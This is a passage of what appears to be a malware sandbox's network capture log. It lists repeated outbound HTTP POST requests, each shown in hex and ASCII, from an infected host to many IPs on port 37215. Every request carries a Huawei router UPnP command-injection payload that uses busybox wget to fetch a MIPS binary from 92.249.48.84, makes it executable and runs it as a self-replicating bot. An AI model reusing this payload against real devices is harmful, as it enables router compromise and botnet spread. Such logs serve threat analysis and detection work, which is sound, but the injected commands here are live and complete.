6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.14	35196	197.198.57.225	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:20.918669939 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.14	54340	41.174.91.69	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:20.918698072 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.14	47562	41.11.77.206	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:20.918716908 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.14	51386	197.116.245.36	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:20.918747902 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.14	43858	156.222.99.193	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:20.918771029 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.14	35176	41.10.39.165	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:20.918796062 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.14	48026	156.20.207.186	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:20.918817043 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.14	55396	197.118.139.26	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:20.918845892 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.14	49392	156.36.21.199	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:20.918862104 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.14	53756	197.69.105.97	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:20.918885946 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.14	56678	156.180.44.191	37215

Timestamp	Bytes transferred	Direction	Data
